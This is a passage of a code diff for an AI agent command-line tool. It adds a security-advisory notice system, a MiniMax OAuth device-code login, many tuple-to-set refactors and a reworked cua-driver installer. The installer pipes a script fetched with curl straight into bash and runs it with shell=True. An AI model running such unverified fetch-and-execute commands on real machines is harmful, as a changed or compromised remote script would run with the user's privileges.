str(x).strip()} + + +def ack_advisory(advisory_id: str) -> bool: + """Persist an ack for ``advisory_id``. Returns True on success. + + Idempotent — acking an already-acked ID is a no-op. + """ + advisory_id = advisory_id.strip() + if not advisory_id: + return False + try: + from hermes_cli.config import load_config, save_config + except Exception: + logger.warning("Could not import config module to persist ack") + return False + try: + cfg = load_config() + sec = cfg.setdefault("security", {}) + existing = sec.get("acked_advisories") or [] + if not isinstance(existing, list): + existing = [] + if advisory_id not in existing: + existing.append(advisory_id) + sec["acked_advisories"] = existing + save_config(cfg) + return True + except Exception: + logger.exception("Failed to persist advisory ack for %s", advisory_id) + return False + + +def filter_unacked(hits: list[AdvisoryHit]) -> list[AdvisoryHit]: + """Return only hits whose advisories the user has not dismissed.""" + if not hits: + return [] + acked = get_acked_ids() + return [h for h in hits if h.advisory.id not in acked] + + +# ============================================================================= +# Rendering helpers +# ============================================================================= + + +def _term_supports_color() -> bool: + if os.environ.get("NO_COLOR"): + return False + if not sys.stdout.isatty(): + return False + return True + + +def short_banner_lines(hits: list[AdvisoryHit]) -> list[str]: + """Return 1-3 short lines suitable for a startup banner. + + Caller is responsible for color/styling. Always names the worst hit + explicitly so the user knows what's wrong without running doctor. + """ + if not hits: + return [] + primary = hits[0] + lines = [ + f"SECURITY ADVISORY [{primary.advisory.id}]: {primary.advisory.title}", + f" Detected: {primary.package}=={primary.installed_version}", + " Run 'hermes doctor' for remediation steps.", + ] + if len(hits) > 1: + lines.insert(1, f" ({len(hits) - 1} additional advisor" + f"{'ies' if len(hits) > 2 else 'y'} also active.)") + return lines + + +def full_remediation_text(hit: AdvisoryHit) -> list[str]: + """Return a multi-line block describing the advisory + remediation.""" + a = hit.advisory + lines = [ + f"=== {a.title} ===", + f"ID: {a.id} Severity: {a.severity} Published: {a.published}", + f"Detected: {hit.package}=={hit.installed_version}", + f"Reference: {a.url}", + "", + a.summary, + "", + "Remediation:", + ] + for i, step in enumerate(a.remediation, 1): + lines.append(f" {i}. {step}") + return lines + + +# ============================================================================= +# Startup-banner gating +# +# We do NOT want to hammer the user with the banner on every command. Once +# they've seen it inside a 24h window we cache that fact in +# ``~/.hermes/cache/advisory_banner_seen`` (a single line per advisory ID: +# `` ``). +# +# Acked advisories never re-banner. Cached-but-not-acked advisories +# re-banner after 24h so the user doesn't fully forget. +# ============================================================================= + + +_BANNER_CACHE_FILE = "advisory_banner_seen" +_BANNER_REPEAT_HOURS = 24 + + +def _banner_cache_path() -> Optional[Path]: + try: + from hermes_constants import get_hermes_home + cache_dir = Path(get_hermes_home()) / "cache" + cache_dir.mkdir(parents=True, exist_ok=True) + return cache_dir / _BANNER_CACHE_FILE + except Exception: + return None + + +def _read_banner_cache() -> dict[str, float]: + p = _banner_cache_path() + if p is None or not p.exists(): + return {} + out: dict[str, float] = {} + try: + for line in p.read_text(encoding="utf-8").splitlines(): + line = line.strip() + if not line: + continue + parts = line.split(None, 1) + if len(parts) != 2: + continue + advisory_id, ts = parts + try: + out[advisory_id] = float(ts) + except ValueError: + continue + except Exception: + return {} + return out + + +def _write_banner_cache(seen: dict[str, float]) -> None: + p = _banner_cache_path() + if p is None: + return + try: + lines = [f"{aid} {ts}" for aid, ts in seen.items()] + p.write_text("\n".join(lines) + "\n", encoding="utf-8") + except Exception: + logger.debug("Could not write advisory banner cache", exc_info=True) + + +def hits_due_for_banner( + hits: list[AdvisoryHit], + *, + repeat_hours: int = _BANNER_REPEAT_HOURS, +) -> list[AdvisoryHit]: + """Return only hits whose banner is due (not acked, not recently shown). + + Side effect: stamps the banner cache for any hit that's about to be + shown. Callers should subsequently render the result. + """ + import time + + fresh = filter_unacked(hits) + if not fresh: + return [] + now = time.time() + cache = _read_banner_cache() + cutoff = now - (repeat_hours * 3600) + + due: list[AdvisoryHit] = [] + for hit in fresh: + last = cache.get(hit.advisory.id, 0.0) + if last < cutoff: + due.append(hit) + cache[hit.advisory.id] = now + if due: + _write_banner_cache(cache) + return due + + +# ============================================================================= +# Public entry points used by doctor / CLI / gateway +# ============================================================================= + + +def render_doctor_section(hits: list[AdvisoryHit]) -> tuple[bool, list[str]]: + """Render the security-advisory section for ``hermes doctor``. + + Returns ``(has_problems, lines)``. Caller is responsible for printing + with whatever color scheme it uses. + """ + fresh = filter_unacked(hits) + if not fresh: + return False, ["No active security advisories. ✓"] + + lines: list[str] = [] + for i, hit in enumerate(fresh): + if i: + lines.append("") + lines.extend(full_remediation_text(hit)) + return True, lines + + +def startup_banner(hits: list[AdvisoryHit]) -> Optional[str]: + """Return a printable startup banner, or None if nothing is due. + + Updates the banner cache as a side effect (so the next call within + 24h returns None for the same hit). + """ + due = hits_due_for_banner(hits) + if not due: + return None + lines = short_banner_lines(due) + if _term_supports_color(): + red = "\x1b[1;31m" + reset = "\x1b[0m" + return red + "\n".join(lines) + reset + return "\n".join(lines) + + +def gateway_log_message(hits: list[AdvisoryHit]) -> Optional[str]: + """Return a one-line log message for gateway operators, or None.""" + fresh = filter_unacked(hits) + if not fresh: + return None + if len(fresh) == 1: + h = fresh[0] + return (f"Security advisory [{h.advisory.id}] active: " + f"{h.package}=={h.installed_version} matches {h.advisory.title}. " + f"See {h.advisory.url}") + return (f"{len(fresh)} security advisories active " + f"(IDs: {', '.join(h.advisory.id for h in fresh)}). " + f"Run `hermes doctor` on the gateway host for details.") diff --git a/hermes_cli/setup.py b/hermes_cli/setup.py index 534d23546e93..df4e88e0006a 100644 --- a/hermes_cli/setup.py +++ b/hermes_cli/setup.py @@ -292,9 +292,9 @@ def prompt_yes_no(question: str, default: bool = True) -> bool: if not value: return default - if value in ("y", "yes"): + if value in {"y", "yes"}: return True - if value in ("n", "no"): + if value in {"n", "no"}: return False print_error("Please enter 'y' or 'n'") @@ -641,7 +641,7 @@ def _prompt_container_resources(config: dict): persist_str = prompt( " Persist filesystem across sessions? (yes/no)", persist_label ) - terminal["container_persistent"] = persist_str.lower() in ("yes", "true", "y", "1") + terminal["container_persistent"] = persist_str.lower() in {"yes", "true", "y", "1"} # CPU current_cpu = terminal.get("container_cpu", 1) @@ -692,7 +692,7 @@ def _prompt_vercel_sandbox_settings(config: dict): persist_label = "yes" if current_persist else "no" terminal["container_persistent"] = prompt( " Persist filesystem with snapshots? (yes/no)", persist_label - ).lower() in ("yes", "true", "y", "1") + ).lower() in {"yes", "true", "y", "1"} current_cpu = terminal.get("container_cpu", 1) cpu_str = prompt(" CPU cores", str(current_cpu)) @@ -708,7 +708,7 @@ def _prompt_vercel_sandbox_settings(config: dict): except ValueError: pass - if terminal.get("container_disk", 51200) not in (0, 51200): + if terminal.get("container_disk", 51200) not in {0, 51200}: print_warning("Vercel Sandbox does not support custom disk sizing; resetting container_disk to 51200.") terminal["container_disk"] = 51200 @@ -1355,14 +1355,13 @@ def setup_terminal_backend(config: dict): existing_sudo = get_env_value("SUDO_PASSWORD") if existing_sudo: print_info("Sudo password: configured") - else: - if prompt_yes_no( - "Enable sudo support? (stores password for apt install, etc.)", False - ): - sudo_pass = prompt(" Sudo password", password=True) - if sudo_pass: - save_env_value("SUDO_PASSWORD", sudo_pass) - print_success("Sudo password saved") + elif prompt_yes_no( + "Enable sudo support? (stores password for apt install, etc.)", False + ): + sudo_pass = prompt(" Sudo password", password=True) + if sudo_pass: + save_env_value("SUDO_PASSWORD", sudo_pass) + print_success("Sudo password saved") elif selected_backend == "docker": print_success("Terminal backend: Docker") @@ -1730,7 +1729,7 @@ def setup_agent_settings(config: dict): current_mode = cfg_get(config, "display", "tool_progress", default="all") mode = prompt("Tool progress mode", current_mode) - if mode.lower() in ("off", "new", "all", "verbose"): + if mode.lower() in {"off", "new", "all", "verbose"}: if "display" not in config: config["display"] = {} config["display"]["tool_progress"] = mode.lower() diff --git a/hermes_cli/skills_hub.py b/hermes_cli/skills_hub.py index 3bfb0631cc4b..96c02feb732c 100644 --- a/hermes_cli/skills_hub.py +++ b/hermes_cli/skills_hub.py @@ -593,7 +593,7 @@ def do_install(identifier: str, category: str = "", force: bool = False, answer = input("Confirm [y/N]: ").strip().lower() except (EOFError, KeyboardInterrupt): answer = "n" - if answer not in ("y", "yes"): + if answer not in {"y", "yes"}: c.print("[dim]Installation cancelled.[/]\n") shutil.rmtree(q_path, ignore_errors=True) return @@ -948,7 +948,7 @@ def do_uninstall(name: str, console: Optional[Console] = None, answer = input("Confirm [y/N]: ").strip().lower() except (EOFError, KeyboardInterrupt): answer = "n" - if answer not in ("y", "yes"): + if answer not in {"y", "yes"}: c.print("[dim]Cancelled.[/]\n") return @@ -984,7 +984,7 @@ def do_reset(name: str, restore: bool = False, answer = input("Confirm [y/N]: ").strip().lower() except (EOFError, KeyboardInterrupt): answer = "n" - if answer not in ("y", "yes"): + if answer not in {"y", "yes"}: c.print("[dim]Cancelled.[/]\n") return @@ -1138,7 +1138,7 @@ def _github_publish(skill_path: Path, skill_name: str, target_repo: str, f"https://api.github.com/repos/{target_repo}/forks", headers=headers, timeout=30, ) - if resp.status_code in (200, 202): + if resp.status_code in {200, 202}: fork = resp.json() fork_repo = fork["full_name"] elif resp.status_code == 403: @@ -1564,7 +1564,7 @@ def handle_skills_slash(cmd: str, console: Optional[Console] = None) -> None: repo = args[1] if len(args) > 1 else "" do_tap(tap_action, repo=repo, console=c) - elif action in ("help", "--help", "-h"): + elif action in {"help", "--help", "-h"}: _print_skills_help(c) else: diff --git a/hermes_cli/status.py b/hermes_cli/status.py index 9a40c8d9b78a..b4417091ca7b 100644 --- a/hermes_cli/status.py +++ b/hermes_cli/status.py @@ -367,7 +367,7 @@ def _resolve_env(env_ref) -> str: if persist is None: persist_enabled = bool(terminal_cfg.get("container_persistent", True)) else: - persist_enabled = persist.lower() in ("1", "true", "yes", "on") + persist_enabled = persist.lower() in {"1", "true", "yes", "on"} auth_status = describe_vercel_auth() sdk_ok = importlib.util.find_spec("vercel") is not None sdk_label = "installed" if sdk_ok else "missing (install: pip install 'hermes-agent[vercel]')" diff --git a/hermes_cli/stdio.py b/hermes_cli/stdio.py index 51c3f7ba5308..a1733f0fe0ba 100644 --- a/hermes_cli/stdio.py +++ b/hermes_cli/stdio.py @@ -105,7 +105,7 @@ def configure_windows_stdio() -> bool: _CONFIGURED = True return False - if os.environ.get("HERMES_DISABLE_WINDOWS_UTF8") in ("1", "true", "True", "yes"): + if os.environ.get("HERMES_DISABLE_WINDOWS_UTF8") in {"1", "true", "True", "yes"}: _CONFIGURED = True return False diff --git a/hermes_cli/tools_config.py b/hermes_cli/tools_config.py index 96b3d4e3be5e..f5e464f163ee 100644 --- a/hermes_cli/tools_config.py +++ b/hermes_cli/tools_config.py @@ -205,15 +205,9 @@ def _get_plugin_toolset_keys() -> set: ], "tts_provider": "elevenlabs", }, - { - "name": "Mistral (Voxtral TTS)", - "badge": "paid", - "tag": "Multilingual, native Opus", - "env_vars": [ - {"key": "MISTRAL_API_KEY", "prompt": "Mistral API key", "url": "https://console.mistral.ai/"}, - ], - "tts_provider": "mistral", - }, + # Mistral (Voxtral TTS) temporarily hidden — `mistralai` PyPI + # package is currently quarantined (malicious 2.4.6 release on + # 2026-05-12). Restore this entry once PyPI un-quarantines. { "name": "Google Gemini TTS", "badge": "preview", @@ -591,10 +585,136 @@ def _pip_install( ) +def install_cua_driver(upgrade: bool = False) -> bool: + """Install or refresh the cua-driver binary used by Computer Use. + + The upstream installer always pulls the latest release tag, so re-running + it is the canonical way to upgrade. We expose two modes: + + * ``upgrade=False`` — original post-setup behaviour: skip if already + installed, install otherwise. Used by the toolset enable flow where + we don't want to surprise the user with a network fetch. + * ``upgrade=True`` — always re-run the installer (or call ``cua-driver + update`` if the binary supports it). Used by ``hermes update`` and + by ``hermes computer-use install --upgrade``. + + Returns True iff cua-driver is installed (or successfully refreshed) + when the function returns. macOS-only — silently returns False on + other platforms. + """ + import platform as _plat + import shutil + import subprocess + + if _plat.system() != "Darwin": + if upgrade: + # Silent on non-macOS — `hermes update` calls this for every + # user; only macOS users with cua-driver care. + return False + _print_warning(" Computer Use (cua-driver) is macOS-only; skipping.") + return False + + binary = shutil.which("cua-driver") + + # Not installed → fresh install path (only when caller asked for it). + if not binary and not upgrade: + if not shutil.which("curl"): + _print_warning(" curl not found — install manually:") + _print_info(" https://github.com/trycua/cua/blob/main/libs/cua-driver/README.md") + return False + return _run_cua_driver_installer(label="Installing") + + # Already installed and caller didn't ask to upgrade → just confirm. + if binary and not upgrade: + try: + version = subprocess.run( + ["cua-driver", "--version"], + capture_output=True, text=True, timeout=5, + ).stdout.strip() + _print_success(f" cua-driver already installed: {version or 'unknown version'}") + except Exception: + _print_success(" cua-driver already installed.") + _print_info(" Grant macOS permissions if not done yet:") + _print_info(" System Settings > Privacy & Security > Accessibility") + _print_info(" System Settings > Privacy & Security > Screen Recording") + return True + + # upgrade=True path — refresh to the latest upstream release. + if not shutil.which("curl"): + _print_warning(" curl not found — cannot refresh cua-driver.") + return bool(binary) + + if binary: + # Show before/after version when we have a baseline. Best-effort. + try: + before = subprocess.run( + ["cua-driver", "--version"], + capture_output=True, text=True, timeout=5, + ).stdout.strip() + except Exception: + before = "" + else: + before = "" + + ok = _run_cua_driver_installer(label="Refreshing", verbose=False) + if ok and before: + try: + after = subprocess.run( + ["cua-driver", "--version"], + capture_output=True, text=True, timeout=5, + ).stdout.strip() + if after and after != before: + _print_success(f" cua-driver upgraded: {before} → {after}") + elif after: + _print_info(f" cua-driver up to date: {after}") + except Exception: + pass + return ok + + +def _run_cua_driver_installer(label: str = "Installing", verbose: bool = True) -> bool: + """Run the upstream cua-driver install.sh. Returns True on success. + + The script is idempotent: it always downloads the latest release, so + re-running it on an already-installed system performs an upgrade. + """ + import shutil + import subprocess + + install_cmd = ( + "/bin/bash -c \"$(curl -fsSL " + "https://raw.githubusercontent.com/trycua/cua/main/" + "libs/cua-driver/scripts/install.sh)\"" + ) + if verbose: + _print_info(f" {label} cua-driver (macOS background computer-use)...") + else: + _print_info(f" {label} cua-driver...") + try: + result = subprocess.run(install_cmd, shell=True, timeout=300) + if result.returncode == 0 and shutil.which("cua-driver"): + if verbose: + _print_success(" cua-driver installed.") + _print_info(" IMPORTANT — grant macOS permissions now:") + _print_info(" System Settings > Privacy & Security > Accessibility") + _print_info(" System Settings > Privacy & Security > Screen Recording") + _print_info(" Both must allow the terminal / Hermes process.") + return True + _print_warning(f" cua-driver {label.lower()} did not complete. Re-run manually:") + _print_info(f" {install_cmd}") + return False + except subprocess.TimeoutExpired: + _print_warning(f" cua-driver {label.lower()} timed out. Re-run manually.") + return False + except Exception as e: + _print_warning(f" cua-driver {label.lower()} failed: {e}") + return False + + def _run_post_setup(post_setup_key: str): """Run post-setup hooks for tools that need extra installation steps.""" import shutil - if post_setup_key in ("agent_browser", "browserbase"): + if post_setup_key in {"agent_browser", "browserbase"}: node_modules = PROJECT_ROOT / "node_modules" / "agent-browser" npm_bin = shutil.which("npm") npx_bin = shutil.which("npx") @@ -729,51 +849,7 @@ def _run_post_setup(post_setup_key: str): _print_info(" docker run -p 9377:9377 -e CAMOFOX_PORT=9377 jo-inc/camofox-browser") elif post_setup_key == "cua_driver": - # cua-driver provides macOS background computer-use (SkyLight SPIs). - # Install via upstream curl script if the binary isn't on $PATH yet. - import platform as _plat - import subprocess - if _plat.system() != "Darwin": - _print_warning(" Computer Use (cua-driver) is macOS-only; skipping.") - return - if shutil.which("cua-driver"): - try: - version = subprocess.run( - ["cua-driver", "--version"], - capture_output=True, text=True, timeout=5, - ).stdout.strip() - _print_success(f" cua-driver already installed: {version or 'unknown version'}") - except Exception: - _print_success(" cua-driver already installed.") - _print_info(" Grant macOS permissions if not done yet:") - _print_info(" System Settings > Privacy & Security > Accessibility") - _print_info(" System Settings > Privacy & Security > Screen Recording") - return - if not shutil.which("curl"): - _print_warning(" curl not found — install manually:") - _print_info(" https://github.com/trycua/cua/blob/main/libs/cua-driver/README.md") - return - _print_info(" Installing cua-driver (macOS background computer-use)...") - try: - install_cmd = ( - "/bin/bash -c \"$(curl -fsSL " - "https://raw.githubusercontent.com/trycua/cua/main/" - "libs/cua-driver/scripts/install.sh)\"" - ) - result = subprocess.run(install_cmd, shell=True, timeout=300) - if result.returncode == 0 and shutil.which("cua-driver"): - _print_success(" cua-driver installed.") - _print_info(" IMPORTANT — grant macOS permissions now:") - _print_info(" System Settings > Privacy & Security > Accessibility") - _print_info(" System Settings > Privacy & Security > Screen Recording") - _print_info(" Both must allow the terminal / Hermes process.") - else: - _print_warning(" cua-driver install did not complete. Re-run manually:") - _print_info(f" {install_cmd}") - except subprocess.TimeoutExpired: - _print_warning(" cua-driver install timed out. Re-run manually.") - except Exception as e: - _print_warning(f" cua-driver install failed: {e}") + install_cua_driver(upgrade=False) elif post_setup_key == "kittentts": try: @@ -1631,7 +1707,7 @@ def _is_provider_active(provider: dict, config: dict) -> bool: image_cfg = config.get("image_gen", {}) if isinstance(image_cfg, dict): configured_provider = image_cfg.get("provider") - if configured_provider not in (None, "", "fal"): + if configured_provider not in {None, "", "fal"}: return False if image_cfg.get("use_gateway") is not None and not is_truthy_value(image_cfg.get("use_gateway"), default=False): return False @@ -1664,7 +1740,7 @@ def _is_provider_active(provider: dict, config: dict) -> bool: configured_provider = image_cfg.get("provider") return ( provider["imagegen_backend"] == "fal" - and configured_provider in (None, "", "fal") + and configured_provider in {None, "", "fal"} and not is_truthy_value(image_cfg.get("use_gateway"), default=False) ) return False @@ -1914,7 +1990,7 @@ def _configure_provider(provider: dict, config: dict): # For tools without a specific config key (e.g. image_gen), still # track use_gateway so the runtime knows the user's intent. - if managed_feature and managed_feature not in ("web", "tts", "browser"): + if managed_feature and managed_feature not in {"web", "tts", "browser"}: config.setdefault(managed_feature, {})["use_gateway"] = True elif not managed_feature: # User picked a non-gateway provider — find which category this @@ -1946,7 +2022,7 @@ def _configure_provider(provider: dict, config: dict): # image_gen.provider clear so the dispatch shim falls through # to the legacy FAL path. img_cfg = config.setdefault("image_gen", {}) - if isinstance(img_cfg, dict) and img_cfg.get("provider") not in (None, "", "fal"): + if isinstance(img_cfg, dict) and img_cfg.get("provider") not in {None, "", "fal"}: img_cfg["provider"] = "fal" return @@ -1991,7 +2067,7 @@ def _configure_provider(provider: dict, config: dict): if backend: _configure_imagegen_model(backend, config) img_cfg = config.setdefault("image_gen", {}) - if isinstance(img_cfg, dict) and img_cfg.get("provider") not in (None, "", "fal"): + if isinstance(img_cfg, dict) and img_cfg.get("provider") not in {None, "", "fal"}: img_cfg["provider"] = "fal" @@ -2186,7 +2262,7 @@ def _reconfigure_provider(provider: dict, config: dict): web_cfg["use_gateway"] = bool(managed_feature) _print_success(f" Web backend set to: {provider['web_backend']}") - if managed_feature and managed_feature not in ("web", "tts", "browser"): + if managed_feature and managed_feature not in {"web", "tts", "browser"}: section = config.setdefault(managed_feature, {}) if not isinstance(section, dict): section = {} @@ -2535,7 +2611,7 @@ def _configure_mcp_tools_interactive(config: dict): # Count enabled servers enabled_names = [ k for k, v in mcp_servers.items() - if v.get("enabled", True) not in (False, "false", "0", "no", "off") + if v.get("enabled", True) not in {False, "false", "0", "no", "off"} ] if not enabled_names: _print_info("All MCP servers are disabled.") diff --git a/hermes_cli/uninstall.py b/hermes_cli/uninstall.py index f14c2358750b..2d781e754aeb 100644 --- a/hermes_cli/uninstall.py +++ b/hermes_cli/uninstall.py @@ -490,7 +490,7 @@ def run_uninstall(args): print("Cancelled.") return - if choice == "3" or choice.lower() in ("c", "cancel", "q", "quit", "n", "no"): + if choice == "3" or choice.lower() in {"c", "cancel", "q", "quit", "n", "no"}: print() print("Uninstall cancelled.") return @@ -517,7 +517,7 @@ def run_uninstall(args): print() print("Cancelled.") return - remove_profiles = resp in ("y", "yes") + remove_profiles = resp in {"y", "yes"} # Final confirmation print() diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index e02b6b0c9011..f1d14ebf48b3 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -56,10 +56,22 @@ from fastapi.staticfiles import StaticFiles from pydantic import BaseModel except ImportError: - raise SystemExit( - "Web UI requires fastapi and uvicorn.\n" - f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" - ) + # First try lazy-installing the dashboard extras. Only the user actually + # running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps + # them out of every other install path. After install, re-import. + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("tool.dashboard", prompt=False) + from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect + from fastapi.middleware.cors import CORSMiddleware + from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response + from fastapi.staticfiles import StaticFiles + from pydantic import BaseModel + except Exception: + raise SystemExit( + "Web UI requires fastapi and uvicorn.\n" + f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" + ) WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist" _log = logging.getLogger(__name__) @@ -179,7 +191,7 @@ def _is_accepted_host(host_header: str, bound_host: str) -> bool: # 0.0.0.0 bind means operator explicitly opted into all-interfaces # (requires --insecure per web_server.start_server). No Host-layer # defence can protect that mode; rely on operator network controls. - if bound_host in ("0.0.0.0", "::"): + if bound_host in {"0.0.0.0", "::"}: return True # Loopback bind: accept the loopback names @@ -273,7 +285,9 @@ async def auth_middleware(request: Request, call_next): "stt.provider": { "type": "select", "description": "Speech-to-text provider", - "options": ["local", "openai", "mistral"], + # "mistral" temporarily removed — mistralai PyPI package quarantined + # (malicious 2.4.6 release on 2026-05-12). Restore once available. + "options": ["local", "openai"], }, "display.skin": { "type": "select", @@ -385,7 +399,7 @@ def _build_schema_from_config( full_key = f"{prefix}.{key}" if prefix else key # Skip internal / version keys - if full_key in ("_config_version",): + if full_key in {"_config_version",}: continue # Category is the first path component for nested keys, or "general" @@ -576,13 +590,13 @@ async def get_status(): gateway_exit_reason = runtime.get("exit_reason") gateway_updated_at = runtime.get("updated_at") if not gateway_running: - gateway_state = gateway_state if gateway_state in ("stopped", "startup_failed") else "stopped" + gateway_state = gateway_state if gateway_state in {"stopped", "startup_failed"} else "stopped" gateway_platforms = {} elif gateway_running and remote_health_body is not None: # The health probe confirmed the gateway is alive, but the local # runtime status file may be stale (cross-container). Override # stopped/None state so the dashboard shows the correct badge. - if gateway_state in (None, "stopped"): + if gateway_state in {None, "stopped"}: gateway_state = "running" # If there was no runtime info at all but the health probe confirmed alive, @@ -1075,7 +1089,7 @@ async def set_model_assignment(body: ModelAssignment): model = (body.model or "").strip() task = (body.task or "").strip().lower() - if scope not in ("main", "auxiliary"): + if scope not in {"main", "auxiliary"}: raise HTTPException(status_code=400, detail="scope must be 'main' or 'auxiliary'") try: @@ -1190,14 +1204,13 @@ def _denormalize_config_from_web(config: Dict[str, Any]) -> Dict[str, Any]: else: disk_model.pop("context_length", None) config["model"] = disk_model - else: - # Model was previously a bare string — upgrade to dict if - # user is setting a context_length override - if ctx_override > 0: - config["model"] = { - "default": model_val, - "context_length": ctx_override, - } + # Model was previously a bare string — upgrade to dict if + # user is setting a context_length override + elif ctx_override > 0: + config["model"] = { + "default": model_val, + "context_length": ctx_override, + } except Exception: pass # can't read disk config — just use the string form return config @@ -1457,7 +1470,12 @@ def _claude_code_only_status() -> Dict[str, Any]: { "id": "minimax-oauth", "name": "MiniMax (OAuth)", - "flow": "pkce", + # MiniMax's flow is structurally device-code (verification URI + + # user code, backend polls the token endpoint) with a PKCE + # extension for code-binding. The dashboard renders the same UX + # as Nous's device-code flow; the PKCE bit is a security + # extension that doesn't change the operator experience. + "flow": "device_code", "cli_command": "hermes auth add minimax-oauth", "docs_url": "https://www.minimax.io", "status_fn": None, # dispatched via auth.get_minimax_oauth_auth_status @@ -1569,7 +1587,7 @@ async def disconnect_oauth_provider(provider_id: str, request: Request): # AND forget the Claude Code import. We don't touch ~/.claude/* directly # — that's owned by the Claude Code CLI; users can re-auth there if they # want to undo a disconnect. - if provider_id in ("anthropic", "claude-code"): + if provider_id in {"anthropic", "claude-code"}: try: from agent.anthropic_adapter import _HERMES_OAUTH_FILE if _HERMES_OAUTH_FILE.exists(): @@ -1820,7 +1838,7 @@ def _submit_anthropic_pkce(session_id: str, code_input: str) -> Dict[str, Any]: async def _start_device_code_flow(provider_id: str) -> Dict[str, Any]: - """Initiate a device-code flow (Nous or OpenAI Codex). + """Initiate a device-code flow (Nous, OpenAI Codex, or MiniMax). Calls the provider's device-auth endpoint via the existing CLI helpers, then spawns a background poller. Returns the user-facing display fields @@ -1899,6 +1917,82 @@ def _do_nous_device_request(): "poll_interval": int(s.get("interval") or 5), } + if provider_id == "minimax-oauth": + # MiniMax uses a device-code-style flow (verification URI + user + # code + background poll) with a PKCE extension on top. From the + # operator's perspective it's identical to Nous's device-code + # flow; the PKCE bit (verifier + challenge from + # _minimax_pkce_pair) is a security extension that binds the + # token exchange to the original session. + from hermes_cli.auth import ( + _minimax_pkce_pair, + _minimax_request_user_code, + MINIMAX_OAUTH_CLIENT_ID, + MINIMAX_OAUTH_GLOBAL_BASE, + ) + import httpx + verifier, challenge, state = _minimax_pkce_pair() + portal_base_url = ( + os.getenv("MINIMAX_PORTAL_BASE_URL") or MINIMAX_OAUTH_GLOBAL_BASE + ).rstrip("/") + def _do_minimax_request(): + with httpx.Client( + timeout=httpx.Timeout(15.0), + headers={"Accept": "application/json"}, + follow_redirects=True, + ) as client: + return _minimax_request_user_code( + client=client, + portal_base_url=portal_base_url, + client_id=MINIMAX_OAUTH_CLIENT_ID, + code_challenge=challenge, + state=state, + ) + device_data = await asyncio.get_event_loop().run_in_executor( + None, _do_minimax_request + ) + sid, sess = _new_oauth_session("minimax-oauth", "device_code") + # The CLI flow names this `interval_ms` because MiniMax's + # `interval` field is in milliseconds (defensive default 2000ms + # in _minimax_poll_token). + interval_raw = device_data.get("interval") + sess["interval_ms"] = ( + int(interval_raw) if interval_raw is not None else None + ) + sess["user_code"] = str(device_data["user_code"]) + sess["code_verifier"] = verifier + sess["state"] = state + sess["portal_base_url"] = portal_base_url + sess["client_id"] = MINIMAX_OAUTH_CLIENT_ID + sess["region"] = "global" + # `expired_in` from MiniMax is overloaded — could be a unix-ms + # timestamp OR a seconds-from-now duration. Mirror the heuristic + # in _minimax_poll_token. Stash the raw value for the poller; + # compute a derived expires_at + UI-friendly expires_in seconds. + expired_in_raw = int(device_data["expired_in"]) + sess["expired_in_raw"] = expired_in_raw + if expired_in_raw > 1_000_000_000_000: # likely unix-ms + expires_at_ts = expired_in_raw / 1000.0 + expires_in_seconds = max(0, int(expires_at_ts - time.time())) + else: + expires_at_ts = time.time() + expired_in_raw + expires_in_seconds = expired_in_raw + sess["expires_at"] = expires_at_ts + threading.Thread( + target=_minimax_poller, + args=(sid,), + daemon=True, + name=f"oauth-poll-{sid[:6]}", + ).start() + return { + "session_id": sid, + "flow": "device_code", + "user_code": str(device_data["user_code"]), + "verification_url": str(device_data["verification_uri"]), + "expires_in": expires_in_seconds, + "poll_interval": max(2, (sess["interval_ms"] or 2000) // 1000), + } + raise HTTPException(status_code=400, detail=f"Provider {provider_id} does not support device-code flow") @@ -1960,6 +2054,89 @@ def _nous_poller(session_id: str) -> None: sess["error_message"] = str(e) +def _minimax_poller(session_id: str) -> None: + """Background poller that drives a MiniMax OAuth flow to completion. + + Mirrors `_nous_poller` but calls the MiniMax-specific token endpoint, + which uses a PKCE-style ``code_verifier`` + ``user_code`` rather than + the ``device_code`` field used by Nous. On success, builds the same + auth_state dict that ``_minimax_oauth_login`` (the CLI flow) builds + and persists via ``_minimax_save_auth_state`` — so the dashboard + path leaves the system in the same state as + ``hermes auth add minimax-oauth``. + """ + from hermes_cli.auth import ( + _minimax_poll_token, + _minimax_resolve_token_expiry_unix, + _minimax_save_auth_state, + MINIMAX_OAUTH_GLOBAL_INFERENCE, + MINIMAX_OAUTH_SCOPE, + ) + from datetime import datetime, timezone + import httpx + with _oauth_sessions_lock: + sess = _oauth_sessions.get(session_id) + if not sess: + return + portal_base_url = sess["portal_base_url"] + client_id = sess["client_id"] + user_code = sess["user_code"] + code_verifier = sess["code_verifier"] + interval_ms = sess.get("interval_ms") + expired_in_raw = sess["expired_in_raw"] + try: + with httpx.Client( + timeout=httpx.Timeout(15.0), + headers={"Accept": "application/json"}, + follow_redirects=True, + ) as client: + token_data = _minimax_poll_token( + client=client, + portal_base_url=portal_base_url, + client_id=client_id, + user_code=user_code, + code_verifier=code_verifier, + expired_in=expired_in_raw, + interval_ms=interval_ms, + ) + # Build the auth_state dict in the same shape as the CLI flow's + # `_minimax_oauth_login` so `_minimax_save_auth_state` writes + # the canonical record. Region is fixed to "global" for the + # dashboard path; cn-region operators can still use the CLI + # flow which supports `--region cn`. + now = datetime.now(timezone.utc) + expires_at_ts = _minimax_resolve_token_expiry_unix( + int(token_data["expired_in"]), now=now, + ) + expires_in_s = max(0, int(expires_at_ts - now.timestamp())) + auth_state = { + "provider": "minimax-oauth", + "region": sess.get("region", "global"), + "portal_base_url": portal_base_url, + "inference_base_url": MINIMAX_OAUTH_GLOBAL_INFERENCE, + "client_id": client_id, + "scope": MINIMAX_OAUTH_SCOPE, + "token_type": token_data.get("token_type", "Bearer"), + "access_token": token_data["access_token"], + "refresh_token": token_data["refresh_token"], + "resource_url": token_data.get("resource_url"), + "obtained_at": now.isoformat(), + "expires_at": datetime.fromtimestamp( + expires_at_ts, tz=timezone.utc + ).isoformat(), + "expires_in": expires_in_s, + } + _minimax_save_auth_state(auth_state) + with _oauth_sessions_lock: + sess["status"] = "approved" + _log.info("oauth/device: minimax login completed (session=%s)", session_id) + except Exception as e: + _log.warning("minimax device-code poll failed (session=%s): %s", session_id, e) + with _oauth_sessions_lock: + 